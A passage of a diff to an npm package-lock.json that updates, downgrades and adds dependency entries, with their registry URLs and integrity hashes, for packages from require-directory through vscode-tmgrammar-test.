"https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", - "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", "dev": true }, "require-from-string": { @@ -17274,15 +18523,15 @@ }, "dependencies": { "glob": { - "version": "7.2.3", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", - "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.0.tgz", + "integrity": "sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q==", "dev": true, "requires": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", "inherits": "2", - "minimatch": "^3.1.1", + "minimatch": "^3.0.4", "once": "^1.3.0", "path-is-absolute": "^1.0.0" } @@ -17302,6 +18551,12 @@ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" }, + "safe-stable-stringify": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/safe-stable-stringify/-/safe-stable-stringify-2.5.0.tgz", + "integrity": "sha512-b3rppTKm9T+PsVCBEOUR46GWI7fdOs00VKZ1+9c1EWDaDMvjQc6tUwuFyIprgGgTcWoVHSKrU8H31ZHA2e0RHA==", + "dev": true + }, "safer-buffer": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", @@ -17315,18 +18570,18 @@ "integrity": "sha512-+aWOz7yVScEGoKNd4PA10LZ8sk0A/z5+nXQG5giUO5rprX9jgYsTdov9qCchZiPIZezbZH+jRut8nPodFAX4Jg==" }, "secretlint": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/secretlint/-/secretlint-10.1.1.tgz", - "integrity": "sha512-q50i+I9w6HH8P6o34LVq6M3hm5GZn2Eq5lYGHkEByOAbVqBHn8gsMGgyxjP1xSrSv1QjDtjxs/zKPm6JtkNzGw==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/secretlint/-/secretlint-10.2.2.tgz", + "integrity": "sha512-xVpkeHV/aoWe4vP4TansF622nBEImzCY73y/0042DuJ29iKIaqgoJ8fGxre3rVSHHbxar4FdJobmTnLp9AU0eg==", "dev": true, "requires": { - "@secretlint/config-creator": "^10.1.1", - "@secretlint/formatter": "^10.1.1", - "@secretlint/node": "^10.1.1", - "@secretlint/profiler": "^10.1.1", + "@secretlint/config-creator": "^10.2.2", + "@secretlint/formatter": "^10.2.2", + "@secretlint/node": "^10.2.2", + "@secretlint/profiler": "^10.2.2", "debug": "^4.4.1", "globby": "^14.1.0", - "read-pkg": "^8.1.0" + "read-pkg": "^9.0.1" } }, "seek-bzip": { @@ -17347,9 +18602,20 @@ } }, "semver": { - "version": "7.7.2", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.2.tgz", - "integrity": "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==" + "version": "7.7.3", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz", + "integrity": "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==" + }, + "sentence-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/sentence-case/-/sentence-case-3.0.4.tgz", + "integrity": "sha512-8LS0JInaQMCRoQ7YUytAo/xUu5W2XnQxV2HI/6uM6U7CITS1RqPElr30V6uIqyMKM9lJGRVFy5/4CuzcixNYSg==", + "dev": true, + "requires": { + "no-case": "^3.0.4", + "tslib": "^2.0.3", + "upper-case-first": "^2.0.2" + } }, "serialize-javascript": { "version": "6.0.2", @@ -17436,9 +18702,9 @@ } }, "simple-git": { - "version": "3.28.0", - "resolved": "https://registry.npmjs.org/simple-git/-/simple-git-3.28.0.tgz", - "integrity": "sha512-Rs/vQRwsn1ILH1oBUy8NucJlXmnnLeLCfcvbSehkPzbv3wwoFWIdtfd6Ndo6ZPhlPsCZ60CPI4rxurnwAa+a2w==", + "version": "3.30.0", + "resolved": "https://registry.npmjs.org/simple-git/-/simple-git-3.30.0.tgz", + "integrity": "sha512-q6lxyDsCmEal/MEGhP1aVyQ3oxnagGlBDOVSIB4XUVLl1iZh0Pah6ebC9V4xBap/RfgP2WlI8EKs0WS0rMEJHg==", "dev": true, "requires": { "@kwsites/file-exists": "^1.1.1", @@ -17457,6 +18723,14 @@ "@sinonjs/samsam": "^8.0.1", "diff": "^7.0.0", "supports-color": "^7.2.0" + }, + "dependencies": { + "diff": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/diff/-/diff-7.0.0.tgz", + "integrity": "sha512-PJWHUb1RFevKCwaFA9RlG5tCd+FO5iRh9A8HEtkmBH2Li03iJriB6m6JIN4rGz3K3JLawI7/veA1xzRKP6ISBw==", + "dev": true + } } }, "sinon-chai": { @@ -17495,13 +18769,23 @@ "integrity": "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==", "dev": true }, + "snake-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/snake-case/-/snake-case-3.0.4.tgz", + "integrity": "sha512-LAOh4z89bGQvl9pFfNF8V146i7o7/CqFPbqzYgP+yYzDIDeS9HaNFtXABamRW+AQzEVODcvE79ljJ+8a9YSdMg==", + "dev": true, + "requires": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, "socks": { - "version": "2.8.4", - "resolved": "https://registry.npmjs.org/socks/-/socks-2.8.4.tgz", - "integrity": "sha512-D3YaD0aRxR3mEcqnidIs7ReYJFVzWdd6fXJYUM8ixcQcJRGTka/b3saV0KflYhyVJXKhb947GndU35SxYNResQ==", + "version": "2.8.7", + "resolved": "https://registry.npmjs.org/socks/-/socks-2.8.7.tgz", + "integrity": "sha512-HLpt+uLy/pxB+bum/9DzAgiKS8CX1EvbWxI4zlmgGCExImLdiad2iCwXT5Z4c9c3Eq8rP2318mPW2c+QbtjK8A==", "dev": true, "requires": { - "ip-address": "^9.0.5", + "ip-address": "^10.0.1", "smart-buffer": "^4.2.0" } }, @@ -17576,15 +18860,15 @@ } }, "spdx-license-ids": { - "version": "3.0.21", - "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.21.tgz", - "integrity": "sha512-Bvg/8F5XephndSK3JffaRqdT+gyhfqIPwDHpX80tJrF8QQRYMo8sNMeaZ2Dp5+jhwKnUmIOyFFQfHRkjJm5nXg==", + "version": "3.0.22", + "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.22.tgz", + "integrity": "sha512-4PRT4nh1EImPbt2jASOKHX7PB7I+e4IWNLvkKFDxNhJlfjbYlleYQh285Z/3mPTHSAK/AvdMmw5BNNuYH8ShgQ==", "dev": true }, "sprintf-js": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.3.tgz", - "integrity": "sha512-Oo+0REFV59/rz3gfJNKQiBlwfHaSESl1pcGyABQsnnIfWOFt6JNj5gCog2U6MLZ//IGYD+nA8nI+mTShREReaA==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==", "dev": true }, "ssri": { @@ -17607,6 +18891,12 @@ } } }, + "stack-trace": { + "version": "0.0.10", + "resolved": "https://registry.npmjs.org/stack-trace/-/stack-trace-0.0.10.tgz", + "integrity": "sha512-KGzahc7puUKkzyMt+IqAep+TVNbKP+k2Lmwhub39m1AsTSkaDutx56aDCo+HLDzf/D26BIHTJWNiTG1KAJiQCg==", + "dev": true + }, "stdin-discarder": { "version": "0.2.2", "resolved": "https://registry.npmjs.org/stdin-discarder/-/stdin-discarder-0.2.2.tgz", @@ -17686,6 +18976,12 @@ "ansi-regex": "^5.0.1" } }, + "strip-bom": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz", + "integrity": "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==", + "dev": true + }, "strip-dirs": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/strip-dirs/-/strip-dirs-2.1.0.tgz", @@ -17720,9 +19016,9 @@ } }, "supports-hyperlinks": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/supports-hyperlinks/-/supports-hyperlinks-2.3.0.tgz", - "integrity": "sha512-RpsAZlpWcDwOPQA22aCH4J0t7L8JmAvsCxfOSEwm7cQs3LshN36QaTkwd70DnBOXDWGssw2eUoc8CaRWT0XunA==", + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/supports-hyperlinks/-/supports-hyperlinks-3.2.0.tgz", + "integrity": "sha512-zFObLMyZeEwzAoKCyu1B91U79K2t7ApXuQfo8OuxwXLDgcKxuwM+YvcbIhm6QWqz7mHUH1TVytR1PwVVjEuMig==", "dev": true, "requires": { "has-flag": "^4.0.0", @@ -17758,52 +19054,49 @@ } }, "svgicons2svgfont": { - "version": "12.0.0", - "resolved": "https://registry.npmjs.org/svgicons2svgfont/-/svgicons2svgfont-12.0.0.tgz", - "integrity": "sha512-fjyDkhiG0M1TPBtZzD12QV3yDcG2fUgiqHPOCYzf7hHE40Hl3GhnE6P1njsJCCByhwM7MiufyDW3L7IOR5dg9w==", + "version": "10.0.6", + "resolved": "https://registry.npmjs.org/svgicons2svgfont/-/svgicons2svgfont-10.0.6.tgz", + "integrity": "sha512-fUgQEVg3XwTbOHvlXahHGqCet5Wvfo1bV4DCvbSRvjsOCPCRunYbG4dUJCPegps37BMph3eOrfoobhH5AWuC6A==", "dev": true, "requires": { - "commander": "^9.3.0", - "glob": "^8.0.3", + "commander": "^7.2.0", + "geometry-interfaces": "^1.1.4", + "glob": "^7.1.6", + "neatequal": "^1.0.0", + "readable-stream": "^3.4.0", "sax": "^1.2.4", - "svg-pathdata": "^6.0.3" + "svg-pathdata": "^6.0.0" }, "dependencies": { - "brace-expansion": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", - "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", - "dev": true, - "requires": { - "balanced-match": "^1.0.0" - } - }, "commander": { - "version": "9.5.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-9.5.0.tgz", - "integrity": "sha512-KRs7WVDKg86PWiuAqhDrAQnTXZKraVcCc6vFdL14qrZ/DcWwuRo7VoiYXalXO7S5GKpqYiVEwCbgFDfxNHKJBQ==", + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", "dev": true }, "glob": { - "version": "8.1.0", - "resolved": "https://registry.npmjs.org/glob/-/glob-8.1.0.tgz", - "integrity": "sha512-r8hpEjiQEYlF2QU0df3dS+nxxSIreXQS1qRhMJM0Q5NDdR386C7jb7Hwwod8Fgiuex+k0GFjgft18yvxm5XoCQ==", + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", "dev": true, "requires": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", "inherits": "2", - "minimatch": "^5.0.1", - "once": "^1.3.0" + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" } }, - "minimatch": { - "version": "5.1.6", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz", - "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==", + "readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", "dev": true, "requires": { - "brace-expansion": "^2.0.1" + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" } } } @@ -17927,9 +19220,9 @@ } }, "tapable": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz", - "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==", + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.3.0.tgz", + "integrity": "sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg==", "dev": true }, "tar": { @@ -17961,9 +19254,9 @@ } }, "tar-fs": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.3.tgz", - "integrity": "sha512-090nwYJDmlhwFwEW3QQl+vaNnxsO2yVsd45eTKRBzSzu+hlb1w2K9inVq5b0ngXuLVqQ4ApvsUHHnu/zQNkWAg==", + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.4.tgz", + "integrity": "sha512-mDAjwmZdh7LTT6pNleZ05Yt65HC3E+NiQzl672vQG38jIrehtJk/J3mNwIg+vShQPcLF/LV7CMnDW6vjj6sfYQ==", "dev": true, "optional": true, "requires": { @@ -18002,13 +19295,58 @@ } }, "terminal-link": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/terminal-link/-/terminal-link-2.1.1.tgz", - "integrity": "sha512-un0FmiRUQNr5PJqy9kP7c40F5BOfpGlYTrxonDChEZB7pzZxRNp/bt+ymiy9/npwXya9KH99nJ/GXFIiUkYGFQ==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/terminal-link/-/terminal-link-4.0.0.tgz", + "integrity": "sha512-lk+vH+MccxNqgVqSnkMVKx4VLJfnLjDBGzH16JVZjKE2DoxP57s6/vt6JmXV5I3jBcfGrxNrYtC+mPtU7WJztA==", + "dev": true, + "requires": { + "ansi-escapes": "^7.0.0", + "supports-hyperlinks": "^3.2.0" + } + }, + "test-exclude": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-7.0.1.tgz", + "integrity": "sha512-pFYqmTw68LXVjeWJMST4+borgQP2AyMNbg1BpZh9LbyhUeNkeaPF9gzfPGUAnSMV3qPYdWUwDIjjCLiSDOl7vg==", "dev": true, "requires": { - "ansi-escapes": "^4.2.1", - "supports-hyperlinks": "^2.0.0" + "@istanbuljs/schema": "^0.1.2", + "glob": "^10.4.1", + "minimatch": "^9.0.4" + }, + "dependencies": { + "brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "dev": true, + "requires": { + "balanced-match": "^1.0.0" + } + }, + "glob": { + "version": "10.4.5", + "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz", + "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==", + "dev": true, + "requires": { + "foreground-child": "^3.1.0", + "jackspeak": "^3.1.2", + "minimatch": "^9.0.4", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^1.11.1" + } + }, + "minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "dev": true, + "requires": { + "brace-expansion": "^2.0.1" + } + } } }, "text-decoder": { @@ -18019,6 +19357,12 @@ "b4a": "^1.6.4" } }, + "text-hex": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/text-hex/-/text-hex-1.0.0.tgz", + "integrity": "sha512-uuVGNWzgJ4yhRaNSiubPY7OjISw4sw4E5Uv0wbjp+OzcbmVU/rsT8ujgcXJhn9ypzsgr5vlzpPqP+MBBKcGvbg==", + "dev": true + }, "text-table": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", @@ -18051,9 +19395,9 @@ } }, "tmp": { - "version": "0.2.3", - "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.3.tgz", - "integrity": "sha512-nZD7m9iCPC5g0pYmcaxogYKggSfLsdxl8of3Q/oIbqCqLLIO9IAF0GWjX1z9NZRHPiXv8Wex4yDCaZsgEw0Y8w==", + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.4.tgz", + "integrity": "sha512-UdiSoX6ypifLmrfQ/XfiawN6hkjSBpCjhKxxZcWlUUmoXLaCKQU0bx4HF/tdDK2uzRuchf1txGvrWBzYREssoQ==", "dev": true }, "to-buffer": { @@ -18070,6 +19414,12 @@ "is-number": "^7.0.0" } }, + "triple-beam": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/triple-beam/-/triple-beam-1.4.1.tgz", + "integrity": "sha512-aZbgViZrg1QNcG+LULa7nhZpJTZSLm/mXnHXnbAbjmN5aSa0y7V+wvv6+4WaBtpISJzThKy+PIPxc1Nq1EJ9mg==", + "dev": true + }, "ts-api-utils": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.1.0.tgz", @@ -18077,6 +19427,17 @@ "dev": true, "requires": {} }, + "tsconfig-paths": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-4.2.0.tgz", + "integrity": "sha512-NoZ4roiN7LnbKn9QqE1amc9DJfzvZXxF4xDavcOWt1BPkdx+m+0gJuPM+S0vCe7zTJMYUP0R8pO2XMr+Y8oLIg==", + "dev": true, + "requires": { + "json5": "^2.2.2", + "minimist": "^1.2.6", + "strip-bom": "^3.0.0" + } + }, "tslib": { "version": "2.6.2", "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.6.2.tgz", @@ -18084,9 +19445,9 @@ "dev": true }, "tsx": { - "version": "4.20.3", - "resolved": "https://registry.npmjs.org/tsx/-/tsx-4.20.3.tgz", - "integrity": "sha512-qjbnuR9Tr+FJOMBqJCW5ehvIo/buZq7vH7qD7JziU98h6l3qGy0a/yPFjwO+y0/T7GFpNgNAvEcPPVfyT8rrPQ==", + "version": "4.20.6", + "resolved": "https://registry.npmjs.org/tsx/-/tsx-4.20.6.tgz", + "integrity": "sha512-ytQKuwgmrrkDTFP4LjR0ToE2nqgy886GpvRSpU0JAnrdBYppuY5rLkRUYPU1yCryb24SsKBTL/hlDQAEFVwtZg==", "dev": true, "requires": { "esbuild": "~0.25.0", @@ -18095,12 +19456,24 @@ } }, "ttf2eot": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/ttf2eot/-/ttf2eot-3.1.0.tgz", - "integrity": "sha512-aHTbcYosNHVqb2Qtt9Xfta77ae/5y0VfdwNLUS6sGBeGr22cX2JDMo/i5h3uuOf+FAD3akYOr17+fYd5NK8aXw==", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ttf2eot/-/ttf2eot-2.0.0.tgz", + "integrity": "sha512-U56aG2Ylw7psLOmakjemAzmpqVgeadwENg9oaDjaZG5NYX4WB6+7h74bNPcc+0BXsoU5A/XWiHabDXyzFOmsxQ==", "dev": true, "requires": { - "argparse": "^2.0.1" + "argparse": "^1.0.6", + "microbuffer": "^1.0.0" + }, + "dependencies": { + "argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, + "requires": { + "sprintf-js": "~1.0.2" + } + } } }, "ttf2woff": { @@ -18114,9 +19487,9 @@ } }, "ttf2woff2": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/ttf2woff2/-/ttf2woff2-5.0.0.tgz", - "integrity": "sha512-FplhShJd3rT8JGa8N04YWQuP7xRvwr9AIq+9/z5O/5ubqNiCADshKl8v51zJDFkhDVcYpdUqUpm7T4M53Z2JoQ==", + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/ttf2woff2/-/ttf2woff2-4.0.5.tgz", + "integrity": "sha512-zpoU0NopfjoyVqkFeQ722SyKk/n607mm5OHxuDS/wCCSy82B8H3hHXrezftA2KMbKqfJIjie2lsJHdvPnBGbsw==", "dev": true, "requires": { "bindings": "^1.5.0", @@ -18180,9 +19553,9 @@ } }, "typescript": { - "version": "5.8.3", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.8.3.tgz", - "integrity": "sha512-p1diW6TqL9L07nNxvRMM7hMMw4c5XOo/1ibL4aAIGmSAt9slTE1Xgw5KWuof2uTOvCg9BY7ZRi+GaF+7sfgPeQ==", + "version": "5.9.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", + "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", "dev": true }, "uc.micro": { @@ -18214,6 +19587,15 @@ "integrity": "sha512-+A5Sja4HP1M08MaXya7p5LvjuM7K6q/2EaC0+iovj/wOcMsTzMvDFbasi/oSapiwOlt252IqsKqPjCl7huKS0A==", "dev": true }, + "undici": { + "version": "5.29.0", + "resolved": "https://registry.npmjs.org/undici/-/undici-5.29.0.tgz", + "integrity": "sha512-raqeBD6NQK4SkWhQzeYKd1KmIG6dllBOTt55Rmkt4HtI9mwdWtJljnrXjAFUBLTSN67HWrOIZ3EPF4kjUw80Bg==", + "dev": true, + "requires": { + "@fastify/busboy": "^2.0.0" + } + }, "undici-types": { "version": "6.21.0", "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz", @@ -18266,6 +19648,24 @@ "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", "dev": true }, + "upper-case": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/upper-case/-/upper-case-2.0.2.tgz", + "integrity": "sha512-KgdgDGJt2TpuwBUIjgG6lzw2GWFRCW9Qkfkiv0DxqHHLYJHmtmdUIKcZd8rHgFSjopVTlw6ggzCm1b8MFQwikg==", + "dev": true, + "requires": { + "tslib": "^2.0.3" + } + }, + "upper-case-first": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/upper-case-first/-/upper-case-first-2.0.2.tgz", + "integrity": "sha512-514ppYHBaKwfJRK/pNC6c/OxfGa0obSnAl106u97Ed0I625Nin96KAjttZF6ZL3e1XLtphxnqrOi9iWgm+u+bg==", + "dev": true, + "requires": { + "tslib": "^2.0.3" + } + }, "uri-js": { "version": "4.4.1", "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", @@ -18293,9 +19693,9 @@ "dev": true }, "v8-to-istanbul": { - "version": "9.2.0", - "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-9.2.0.tgz", - "integrity": "sha512-/EH/sDgxU2eGxajKdwLCDmQ4FWq+kpi3uCmBGpw1xJtnAxEjlD8j8PEiGWpCIMIs3ciNAgH0d3TTJiUkYzyZjA==", + "version": "9.3.0", + "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-9.3.0.tgz", + "integrity": "sha512-kiGUalWN+rgBJ/1OHZsBtU4rXZOfj/7rKQxULKlIzwzQSvMJUUNgPwJEEh7gU6xEVxC0ahoOBvN2YI8GH6FNgA==", "dev": true, "requires": { "@jridgewell/trace-mapping": "^0.3.12", @@ -18313,10 +19713,45 @@ "spdx-expression-parse": "^3.0.0" } }, + "varstream": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/varstream/-/varstream-0.3.2.tgz", + "integrity": "sha512-OpR3Usr9dGZZbDttlTxdviGdxiURI0prX68+DuaN/JfIDbK9ZOmREKM6PgmelsejMnhgjXmEEEgf+E4NbsSqMg==", + "dev": true, + "requires": { + "readable-stream": "^1.0.33" + }, + "dependencies": { + "isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ==", + "dev": true + }, + "readable-stream": { + "version": "1.1.14", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.1.14.tgz", + "integrity": "sha512-+MeVjFf4L44XUkhM1eYbD8fyEsxcV81pqMSR5gblfcLCHfZvbrqy4/qYHE+/R5HoBUT11WV5O08Cr1n3YXkWVQ==", + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.1", + "isarray": "0.0.1", + "string_decoder": "~0.10.x" + } + }, + "string_decoder": { + "version": "0.10.31", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", + "integrity": "sha512-ev2QzSzWPYmy9GuqfIVildA4OdcGLeFZQrq5ys6RtiuF+RQQiZWr8TZNyAcuVXyQRYfEO+MsoB/1BuQVhOJuoQ==", + "dev": true + } + } + }, "version-range": { - "version": "4.14.0", - "resolved": "https://registry.npmjs.org/version-range/-/version-range-4.14.0.tgz", - "integrity": "sha512-gjb0ARm9qlcBAonU4zPwkl9ecKkas+tC2CGwFfptTCWWIVTWY1YUbT2zZKsOAF1jR/tNxxyLwwG0cb42XlYcTg==", + "version": "4.15.0", + "resolved": "https://registry.npmjs.org/version-range/-/version-range-4.15.0.tgz", + "integrity": "sha512-Ck0EJbAGxHwprkzFO966t4/5QkRuzh+/I1RxhLgUKKwEn+Cd8NwM60mE3AqBZg5gYODoXW0EFsQvbZjRlvdqbg==", "dev": true }, "vscode-jsonrpc": { @@ -18335,9 +19770,9 @@ }, "dependencies": { "brace-expansion": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", - "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", "requires": { "balanced-match": "^1.0.0" } @@ -18366,6 +19801,117 @@ "resolved": "https://registry.npmjs.org/vscode-languageserver-types/-/vscode-languageserver-types-3.17.5.tgz", "integrity": "sha512-Ld1VelNuX9pdF39h2Hgaeb5hEZM2Z3jUrrMgWQAu82jMtZp7p3vJT3BzToKtZI7NgQssZje5o0zryOrhQvzQAg==" }, + "vscode-oniguruma": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/vscode-oniguruma/-/vscode-oniguruma-1.7.0.tgz", + "integrity": "sha512-L9WMGRfrjOhgHSdOYgCt/yRMsXzLDJSL7BPrOZt73gU0iWO4mpqzqQzOz5srxqTvMBaR0XZTSrVWo4j55Rc6cA==", + "dev": true + }, + "vscode-textmate": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/vscode-textmate/-/vscode-textmate-7.0.4.tgz", + "integrity": "sha512-9hJp0xL7HW1Q5OgGe03NACo7yiCTMEk3WU/rtKXUbncLtdg6rVVNJnHwD88UhbIYU2KoxY0Dih0x+kIsmUKn2A==", + "dev": true + }, + "vscode-tmgrammar-test": { + "version": "0.1.3", + "resolved": 